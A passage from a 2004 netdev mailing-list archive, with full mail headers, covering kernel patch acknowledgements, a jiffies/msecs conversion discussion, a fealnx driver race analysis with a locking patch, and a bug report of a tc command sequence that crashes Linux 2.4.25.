chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 160 Lines: 4 In message <406335D0.2090308@cs.ucalgary.ca>,Abhinav Gupta writes: >Can anyone please give me pointers to accessing system time? I need to do_gettimeofday()? From davem@redhat.com Thu Mar 25 12:59:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 12:59:41 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PKxUKO026970 for ; Thu, 25 Mar 2004 12:59:31 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2PKxPWA020053; Thu, 25 Mar 2004 15:59:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2PKxPj22088; Thu, 25 Mar 2004 15:59:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2PKx61n020354; Thu, 25 Mar 2004 15:59:07 -0500 Date: Thu, 25 Mar 2004 12:59:24 -0800 From: "David S. Miller" To: Dmitry Torokhov Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH 2/2 (resend)] TBF trailing whitespace fixes Message-Id: <20040325125924.6814b980.davem@redhat.com> In-Reply-To: <200403242354.23584.dtor_core@ameritech.net> References: <200403230108.08384.dtor_core@ameritech.net> <200403230108.58006.dtor_core@ameritech.net> <20040324135939.4dff0560.davem@redhat.com> <200403242354.23584.dtor_core@ameritech.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 187 Lines: 7 On Wed, 24 Mar 2004 23:54:22 -0500 Dmitry Torokhov wrote: > Here it is, against the today's Marcelo's BK plus the first patch. > It compiles. Thanks, applied. From davem@redhat.com Thu Mar 25 13:03:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 13:03:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PL3YKO027337 for ; Thu, 25 Mar 2004 13:03:35 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2PL3TWA021300; Thu, 25 Mar 2004 16:03:29 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2PL3Tj23144; Thu, 25 Mar 2004 16:03:29 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2PL3B1n021555; Thu, 25 Mar 2004 16:03:11 -0500 Date: Thu, 25 Mar 2004 13:03:29 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] lec_push() races with vcc->proto_data Message-Id: <20040325130329.25016275.davem@redhat.com> In-Reply-To: <200403242312.i2ONCKGG026715@ginger.cmf.nrl.navy.mil> References: <200403242312.i2ONCKGG026715@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 222 Lines: 8 On Wed, 24 Mar 2004 18:12:22 -0500 "chas williams (contractor)" wrote: > please apply to the 2.6 and 2.4 kernels. ... > # [ATM]: [lec] lec_push() races with vcc->proto_data Applied, thanks Chas. From davem@redhat.com Thu Mar 25 13:04:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 13:04:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PL4NKO027639 for ; Thu, 25 Mar 2004 13:04:23 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2PL4IWA021535; Thu, 25 Mar 2004 16:04:18 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2PL4Ij23268; Thu, 25 Mar 2004 16:04:18 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2PL401n021724; Thu, 25 Mar 2004 16:04:00 -0500 Date: Thu, 25 Mar 2004 13:04:17 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [nicstar] use kernel min/max (by "Randy.Dunlap" ) Message-Id: <20040325130417.3fdd13a3.davem@redhat.com> In-Reply-To: <200403242312.i2ONCu6E026729@ginger.cmf.nrl.navy.mil> References: <200403242312.i2ONCu6E026729@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 253 Lines: 8 On Wed, 24 Mar 2004 18:12:57 -0500 "chas williams (contractor)" wrote: > please apply to the 2.6 and 2.4 kernels. ... > # [ATM]: [nicstar] use kernel min/max (by "Randy.Dunlap" ) Applied, thanks Chas/Randy. From rugolsky@telemetry-investments.com Thu Mar 25 13:05:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 13:06:02 -0800 (PST) Received: from ti41.telemetry-investments.com (209-166-240-202.cust.walrus.com [209.166.240.202]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PL5uKO028016 for ; Thu, 25 Mar 2004 13:05:59 -0800 Received: from ti19.telemetry-investments.com (ti19 [192.168.8.19]) by ti41.telemetry-investments.com (Postfix) with ESMTP id 481DB10108; Thu, 25 Mar 2004 16:05:51 -0500 (EST) Received: by ti19.telemetry-investments.com (Postfix, from userid 343) id 44E1DE6; Thu, 25 Mar 2004 16:05:51 -0500 (EST) Date: Thu, 25 Mar 2004 16:05:51 -0500 From: "Bill Rugolsky Jr." To: Sridhar Samudrala Cc: davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. Message-ID: <20040325210551.GA23993@ti19.telemetry-investments.com> Mail-Followup-To: "Bill Rugolsky Jr." , Sridhar Samudrala , davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 4254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brugolsky@telemetry-investments.com Precedence: bulk X-list: netdev Content-Length: 2137 Lines: 52 On Thu, Mar 25, 2004 at 12:17:41PM -0800, Sridhar Samudrala wrote: > The following patch to 2.6.5-rc2 consolidates 6 different implementations > of msecs to jiffies and 3 different implementation of jiffies to msecs. > All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > that are added to include/linux/time.h I was inplementing precisely the same diff while cleaning up the select/poll timeout logic, when I came across this lkml post by George Anziger, http://marc.theaimsgroup.com/?l=linux-kernel&m=107772721007761&w=4 the relevant part of which is: As to small drifts of ~170 PPM, they are caused by code (ps I would guess) that assumes that jiffies is exactly 1/HZ whereas it is NOT in the 2.6.* kernel. The size of the jiffie that the kernel uses is returned by: struct timespec tv; : : clock_res(CLOCK_REALTIME, &tv); I inferred from the above that a generic msec_to_jiffies()/jiffies_to_msec() ought to use TICK_NSEC, as with the other routines in time.h. For 32-bit platforms the scaled arithmetic is simple; one has to be more careful when BITS_PER_LONG == 64. After e-mailing George about it, he replied: You might want to look at the code in time.h that does the jiffies to timespec conversion. We did a lot of work to get that right for both 32 and 64 bit platforms. I don't think you really need more precision than we get on the 32 bit platforms (if I recall correctly it is in the 100 PPB range, yeah that is parts per BILLION). Unless this conversion is done a lot, I would just start with the timespec conversions and convert from / to using simple math. As it is all power of 10 stuff it should not have a precision problem. He also supplied me with his test harness. I haven't gotten around to doing this properly yet. It seems that the only place where precision is actually important (due to the possibility of very long timeouts) is in poll/epoll, so perhaps it is best to just code up a special version for them, as the simple version becomes a no-op everywhere else for the default HZ==1000. Regards, Bill Rugolsky From sri@us.ibm.com Thu Mar 25 15:50:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 15:50:46 -0800 (PST) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PNoYKO005609 for ; Thu, 25 Mar 2004 15:50:41 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2PNnj4i685162; Thu, 25 Mar 2004 18:49:45 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2PNo1in059336; Thu, 25 Mar 2004 18:50:02 -0500 Date: Thu, 25 Mar 2004 15:49:43 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "Bill Rugolsky Jr." cc: davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. In-Reply-To: <20040325210551.GA23993@ti19.telemetry-investments.com> Message-ID: References: <20040325210551.GA23993@ti19.telemetry-investments.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4255 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2741 Lines: 68 On Thu, 25 Mar 2004, Bill Rugolsky Jr. wrote: > On Thu, Mar 25, 2004 at 12:17:41PM -0800, Sridhar Samudrala wrote: > > The following patch to 2.6.5-rc2 consolidates 6 different implementations > > of msecs to jiffies and 3 different implementation of jiffies to msecs. > > All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > > that are added to include/linux/time.h > > I was inplementing precisely the same diff while cleaning up the > select/poll timeout logic, when I came across this lkml post by George > Anziger, > > http://marc.theaimsgroup.com/?l=linux-kernel&m=107772721007761&w=4 > > the relevant part of which is: > > As to small drifts of ~170 PPM, they are caused by code (ps I would > guess) > that assumes that jiffies is exactly 1/HZ whereas it is NOT in the 2.6.* > kernel. The size of the jiffie that the kernel uses is returned by: > > struct timespec tv; > : > : > clock_res(CLOCK_REALTIME, &tv); > > I inferred from the above that a generic msec_to_jiffies()/jiffies_to_msec() > ought to use TICK_NSEC, as with the other routines in time.h. For 32-bit > platforms the scaled arithmetic is simple; one has to be more careful > when BITS_PER_LONG == 64. > > After e-mailing George about it, he replied: > > You might want to look at the code in time.h that does the jiffies to > timespec conversion. We did a lot of work to get that right for both 32 and > 64 bit platforms. I don't think you really need more precision than we get > on the 32 bit platforms (if I recall correctly it is in the 100 PPB range, > yeah that is parts per BILLION). > > Unless this conversion is done a lot, I would just start with the timespec > conversions and convert from / to using simple math. As it is all power of > 10 stuff it should not have a precision problem. > > He also supplied me with his test harness. > > I haven't gotten around to doing this properly yet. It seems that the > only place where precision is actually important (due to the possibility > of very long timeouts) is in poll/epoll, so perhaps it is best > to just code up a special version for them, as the simple version > becomes a no-op everywhere else for the default HZ==1000. Do poll/epoll also use similar routines to do msecs/jiffies conversions? If so, i seem to have missed them. But i think for all the other users which i have consolidated, the simpler version should be good enough. In fact, some of the existing implementations do overflow for large values. Once this patch is integrated, I guess you can either update the generic version to do a more precise calculation or create a special version for poll/epoll. Thanks Sridhar > > Regards, > > Bill Rugolsky > From froese@gmx.de Thu Mar 25 16:44:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 16:44:24 -0800 (PST) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2Q0iLKO010925 for ; Thu, 25 Mar 2004 16:44:22 -0800 Received: (qmail 10671 invoked by uid 65534); 26 Mar 2004 00:44:15 -0000 Received: from unknown (EHLO dialup) (217.93.126.34) by mail.gmx.net (mp010) with SMTP; 26 Mar 2004 01:44:15 +0100 X-Authenticated: #271361 Date: Fri, 26 Mar 2004 01:44:03 +0100 From: Edgar Toernig To: Sridhar Samudrala Cc: davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. Message-Id: <20040326014403.39388cb8.froese@gmx.de> In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: froese@gmx.de Precedence: bulk X-list: netdev Content-Length: 622 Lines: 16 Sridhar Samudrala wrote: > > The following patch to 2.6.5-rc2 consolidates 6 different implementations > of msecs to jiffies and 3 different implementation of jiffies to msecs. > All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > that are added to include/linux/time.h >[...] > -#define MSECS(ms) (((ms)*HZ/1000)+1) > -return (((ms)*HZ+999)/1000); > +return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; Did you check that all users of the new version will work correctly with your rounding? Explicit round-up of delays is often required, especially when talking to hardware... Ciao, ET. From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 02:22:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 02:22:57 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QAMgKO008239 for ; Fri, 26 Mar 2004 02:22:45 -0800 Received: (qmail 15565 invoked by alias); 26 Mar 2004 10:14:59 -0000 Received: from unknown (HELO vda) (172.16.42.177) by 0 (172.16.22.3) with ESMTP; 26 Mar 2004 10:14:59 -0000 Content-Type: text/plain; charset="us-ascii" From: Denis Vlasenko To: netdev@oss.sgi.com, OGAWA Hirofumi , Jeff Garzik Subject: fealnx oopses Date: Fri, 26 Mar 2004 12:14:57 +0200 X-Mailer: KMail [version 1.4] Cc: andreas@fjortis.info, Denis Vlasenko MIME-Version: 1.0 Message-Id: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2QAMgKO008239 X-archive-position: 4259 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 5426 Lines: 136 I'll appreciate any comments from netdev@oss.sgi.com readers. Especially on "or else?? np->cur_rx->skbuff stays NULL..." part. > From: Andreas Henriksson > To: vda@port.imtp.ilyichevsk.odessa.ua > > I've had the same problem for some time (although I've been using 2.6). > > Try the attached patch.... it works reliably for me with it (except that > the controller sometimes get reset because of "transmit timed out"). > I guess there isn't much changed in the driver between 2.4 and 2.6 so it > will hopefully apply cleanly. > I have opened a bug about this (which I've already marked "resolved"): > http://bugzilla.kernel.org/show_bug.cgi?id=1902 > Also see http://fjortis.info/pub/panic/fealnx/ for verbose information > about my quest to solve the problem ... :) > Please try this out and report to me if it helps.... I've been thinking > of submitting this for some time but I haven't found anyone who can help > me test the patch.... Andreas, You concluded that your oops happened in dev_kfree_skb_irq(np->cur_tx->skbuff); because np->cur_tx->skbuff==NULL. In my case I saw oops in skb_put(skb = np->cur_rx->skbuff, pkt_len); because np->cur_rx->skbuff==NULL. (I am 100% sure, I traced it to exact assembler instruction and C source line) Seems similar but not exactly the same. Another similarity is that you saw two do_IRQ's in your oops traces, just like me: http://lkml.org/lkml/2004/3/21/119 Looks like it indeed can be caused by race between network stack trying to stuff more tx data into card and interrupts from card. Another thread of me tried to guess how cur_rx->skbuff can end up being NULL. Here we are in interrupt context, processing rx intr: static int netdev_rx(struct net_device *dev) ... we just received large packet, pass it to network stack: } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; <--------- set to NULL here if (np->really_rx_count == RX_RING_SIZE) np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); dev->last_rx = jiffies; np->stats.rx_packets++; np->stats.rx_bytes += pkt_len; } if (np->cur_rx->skbuff == NULL) { aha. need to allocate new rx buffer struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); if (skb != NULL) { skb->dev = dev; /* Mark as being used by this device. */ np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); np->cur_rx->skbuff = skb; ++np->really_rx_count; } or else?? np->cur_rx->skbuff stays NULL... } if (np->cur_rx->skbuff != NULL) free_one_rx_descriptor(np); this does np->cur_rx = np->cur_rx->next_desc_logical inside bit ONLY if( !=NULL). This is the only place which can possibly change ->cur_tx (I grepped entire driver). Will something change cur_rx->skbuff later? lets see: } /* end of while loop */ /* allocate skb for rx buffers */ allocate_rx_buffers(dev); this function will try to allocate all remaining unallocated rx buffers but may fail if low on memory, leaving cur_rx->skbuff == NULL! return 0; } end of handler. If next rx intr struck us right now, we will oops. Am I right? BTW, my box is indeed slow and low on RAM, this fits. Regarding your patch: I looked in start_tx(). Apart from latent bug in commented out part of code: next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; which must be next = (struct fealnx_desc *) np->cur_tx_copy->next_desc_logical; I can't see anything racy there. The function just submits more tx buffers for the card, it never touch cur_tx or cur_tx->skbuff... If I miss something and it indeed races with interrupt, you definitely need to add spin_lock(&np->lock); ... spin_unlock(&np->lock); around interrupt handler body or at least around tx part of it, or else your patch is incomplete (race will still be possible on SMP). Anyway, I applied your patch and flooded with UDP again. My box did not oops. Unfortunately, it did not oops when I reverted back to old, presumably buggy driver. I cannot reproduce it anymore with old driver too! Bad. :( -- vda > --- old-fealnx.c 2004-03-23 12:43:21.000000000 +0100 > +++ fealnx.c 2004-03-23 12:44:17.000000000 +0100 > @@ -1311,6 +1311,9 @@ static void init_ring(struct net_device > static int start_tx(struct sk_buff *skb, struct net_device *dev) > { > struct netdev_private *np = dev->priv; > + unsigned long flags; > + > + spin_lock_irqsave(&np->lock, flags); > > np->cur_tx_copy->skbuff = skb; > > @@ -1377,6 +1380,8 @@ static int start_tx(struct sk_buff *skb, > writel(0, dev->base_addr + TXPDR); > dev->trans_start = jiffies; > > + spin_unlock_irqrestore(&np->lock, flags); > + > return 0; > } From ananth@cse.iitk.ac.in Fri Mar 26 06:53:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 06:53:49 -0800 (PST) Received: from mail2.iitk.ac.in ([203.197.196.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QErcKO005215 for ; Fri, 26 Mar 2004 06:53:45 -0800 Received: from antivirus.cc.iitk.ac.in (antivirus.cc.iitk.ac.in [172.31.1.102]) by mail2.iitk.ac.in (8.12.8/8.12.8) with SMTP id i2QF2kRS008145 for ; Fri, 26 Mar 2004 20:32:59 +0530 Received: from mailhost.cse.iitk.ac.in ([172.27.16.2]) by antivirus.cc.iitk.ac.in (NAVGW 2.5.2.12) with SMTP id M2004032620231323991 for ; Fri, 26 Mar 2004 20:23:13 +0530 Received: from localhost (webmail.cse.iitk.ac.in [203.200.95.153]) by mailhost.cse.iitk.ac.in (8.12.8/8.12.8) with ESMTP id i2QEg1Cq015210; Fri, 26 Mar 2004 20:12:01 +0530 Received: from 172.27.2.2 ([172.27.2.2]) by webmail.cse.iitk.ac.in (IMP) with HTTP for ; Fri, 26 Mar 2004 20:27:18 +0530 Message-ID: <1080313038.406444cec9c60@webmail.cse.iitk.ac.in> Date: Fri, 26 Mar 2004 20:27:18 +0530 From: ananth@cse.iitk.ac.in To: netdev@oss.sgi.com Cc: sudheerv@cse.iitk.ac.in MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.1 X-archive-position: 4260 Subject: (no subject) X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ananth@cse.iitk.ac.in Precedence: bulk X-list: netdev Content-Length: 401 Lines: 12 Hi, I am using a DualProcessor Xeon 2.0GHz with 4 Intel PRO 1000 MT desktop adapters using latest e1000 driver with NAPI enabled.(Linux 2.4.20-8 smp kernel). When I tried to send packets through more than one interface at a high speed (>200 Mbps) using raw sockets, my system is hanging. Is this a kernel bug? Can anyone please suggest some method to achieve this. Thanks in advance, Ananth. From sebastian_hagen@gmx.de Fri Mar 26 08:14:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 08:14:55 -0800 (PST) Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QGEmKO011166 for ; Fri, 26 Mar 2004 08:14:49 -0800 Received: (qmail 26306 invoked by uid 65534); 26 Mar 2004 16:14:42 -0000 Received: from pD9ED37DF.dip.t-dialin.net (EHLO gmx.de) (217.237.55.223) by mail.gmx.net (mp009) with SMTP; 26 Mar 2004 17:14:42 +0100 X-Authenticated: #1768712 Message-ID: <406456F0.5040009@gmx.de> Date: Fri, 26 Mar 2004 17:14:40 +0100 From: Sebastian Hagen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030903 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: PROBLEM: tc-commands trigger oops on linux-2.4.25 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4261 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sebastian_hagen@gmx.de Precedence: bulk X-list: netdev Content-Length: 12419 Lines: 339 target: netdev@oss.sgi.com subject: PROBLEM: tc-commands trigger oops on linux-2.4.25 [1.] tc-commands trigger oops on linux-2.4.25 [2.] Using the tc-commands contained in the script in [6.] causes Linux 2.4.25 (and 2.4.24) to oops under certain conditions. It can be reproduced on the system mentioned here reliably by running the script immediately after bootup. After the oops, a number of processes get put into state D (ps-output) indefinitely. This always applies to new instances of ifconfig started without parameters. Some running daemons (e.g. named, pppd) also go into D state after variable amounts of time. "shutdown -r now" still puts the system into runlevel 6, but doesn't actually trigger a reboot anymore. Calling /sbin/reboot while in runlevel 6 does reboot it, though. [3.] networking, traffic control [4.] Linux version 2.4.25 (root@support-unit-001) (gcc version 3.3.2 20031022 (Red Hat Linux 3.3.2-1)) #3 Fri Mar 26 16:37:21 CET 2004 [5.] ksymoops 2.4.5 on i686 2.4.25. Options used -V (specified) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.25/ (default) -m /boot/System.map-2.4.25 (default) Unable to handle kernel NULL pointer dereference at virtual address 00000000 00000000 *pde = 00000000 Oops: 0000 CPU: 0 EIP: 0010:[<00000000>] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010202 eax: fffffffe ebx: 80000000 ecx: 00000001 edx: 00000001 esi: de7624c0 edi: c03c9520 ebp: dd1a9cd8 esp: dd1a9c5c ds: 0018 es: 0018 ss: 0018 Process tc (pid: 904, stackpage=dd1a9000) Stack: c02b4cac de7624c0 00000001 00000010 00010246 dd1a9e50 dd3be380 dd1a9c88 dddf34ac 00000007 dddf3600 00000000 00000001 c03c9520 de7624c0 00010001 00000000 00000008 def296d0 c03c9568 00000c68 00000c7c ddab82e4 000005dc Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: Bad EIP value. >>EIP; 00000000 Before first symbol >>eax; fffffffe >>ebx; 80000000 Before first symbol >>esi; de7624c0 <_end+1e334f08/2048bac8> >>edi; c03c9520 >>ebp; dd1a9cd8 <_end+1cd7c720/2048bac8> >>esp; dd1a9c5c <_end+1cd7c6a4/2048bac8> Trace; c02b4cac Trace; c02b01c2 Trace; c02afe6f Trace; c02c590a Trace; c02c51fd Trace; c02c56a3 Trace; c02a1563 Trace; c02a29d9 Trace; c012f116 Trace; c01261e6 Trace; c01263ff Trace; c0113a01 Trace; c02a1eba Trace; c02a2ea8 Trace; c0113860 Trace; c01071cf [6.] #!/bin/sh tc qdisc add dev ppp0 root handle 1:0 tbf rate 15kbps latency 50ms \ burst 1454 tc filter add dev ppp0 parent 1:1 prio 0 protocol ip handle 10 fw \ flowid 1:10 [7.] [7.1.] # ./scripts/ver_linux If some fields are empty or look unusual you may have an old version. Compare to the current minimal requirements in Documentation/Changes. Linux support-unit-001 2.4.25 #3 Fri Mar 26 16:37:21 CET 2004 i686 athlon i386 GNU/Linux Gnu C 3.3.2 Gnu make 3.79.1 util-linux 2.11y mount 2.11y modutils 2.4.25 e2fsprogs 1.34 jfsutils 1.1.3 reiserfsprogs 3.6.8 quota-tools 3.06. PPP 2.4.1 isdn4k-utils 3.3 Linux C Library 2.3.2 Dynamic linker (ldd) 2.3.2 Procps 2.0.17 Net-tools 1.60 Kbd 1.08 Sh-utils 5.0 Modules Loaded nfsd parport_pc lp parport sg scsi_mod # tc -V tc utility, iproute2-ss991023 [7.2.] processor : 0 vendor_id : AuthenticAMD cpu family : 6 model : 8 model name : AMD Athlon(tm) XP 2200+ stepping : 1 cpu MHz : 1800.545 cache size : 256 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse syscall mmxext 3dnowext 3dnow bogomips : 3591.37 [7.3.] nfsd 79920 8 (autoclean) parport_pc 26472 1 (autoclean) lp 8708 0 (autoclean) parport 33576 1 (autoclean) [parport_pc lp] sg 30428 0 (autoclean) (unused) scsi_mod 96544 1 (autoclean) [sg] [7.4.] [/proc/ioports] 0000-001f : dma1 0020-003f : pic1 0040-005f : timer 0060-006f : keyboard 0070-007f : rtc 0080-008f : dma page reg 00a0-00bf : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : ide1 01f0-01f7 : ide0 0376-0376 : ide1 0378-037a : parport0 03c0-03df : vga+ 03f6-03f6 : ide0 03f8-03ff : serial(auto) 0cf8-0cff : PCI conf1 d800-d81f : PCI device 10ec:8029 d800-d81f : ne2k-pci dc00-dcff : PCI device 1039:0900 dc00-dcff : sis900 ff00-ff0f : PCI device 1039:5513 ff00-ff07 : ide0 ff08-ff0f : ide1 [/proc/iomem] 00000000-0009fbff : System RAM 0009fc00-0009ffff : reserved 000a0000-000bffff : Video RAM area 000c0000-000c7fff : Video ROM 000e8000-000e9fff : reserved 000f0000-000fffff : System ROM 00100000-1ffeffff : System RAM 00100000-0034d994 : Kernel code 0034d995-003d0363 : Kernel data 1fff0000-1fff7fff : ACPI Tables 1fff8000-1fffffff : ACPI Non-volatile Storage cea00000-cebfffff : PCI Bus #01 ced00000-ceefffff : PCI Bus #01 cf7ec000-cf7ecfff : PCI device 1039:0900 cf7ec000-cf7ecfff : sis900 cf7ed000-cf7edfff : PCI device 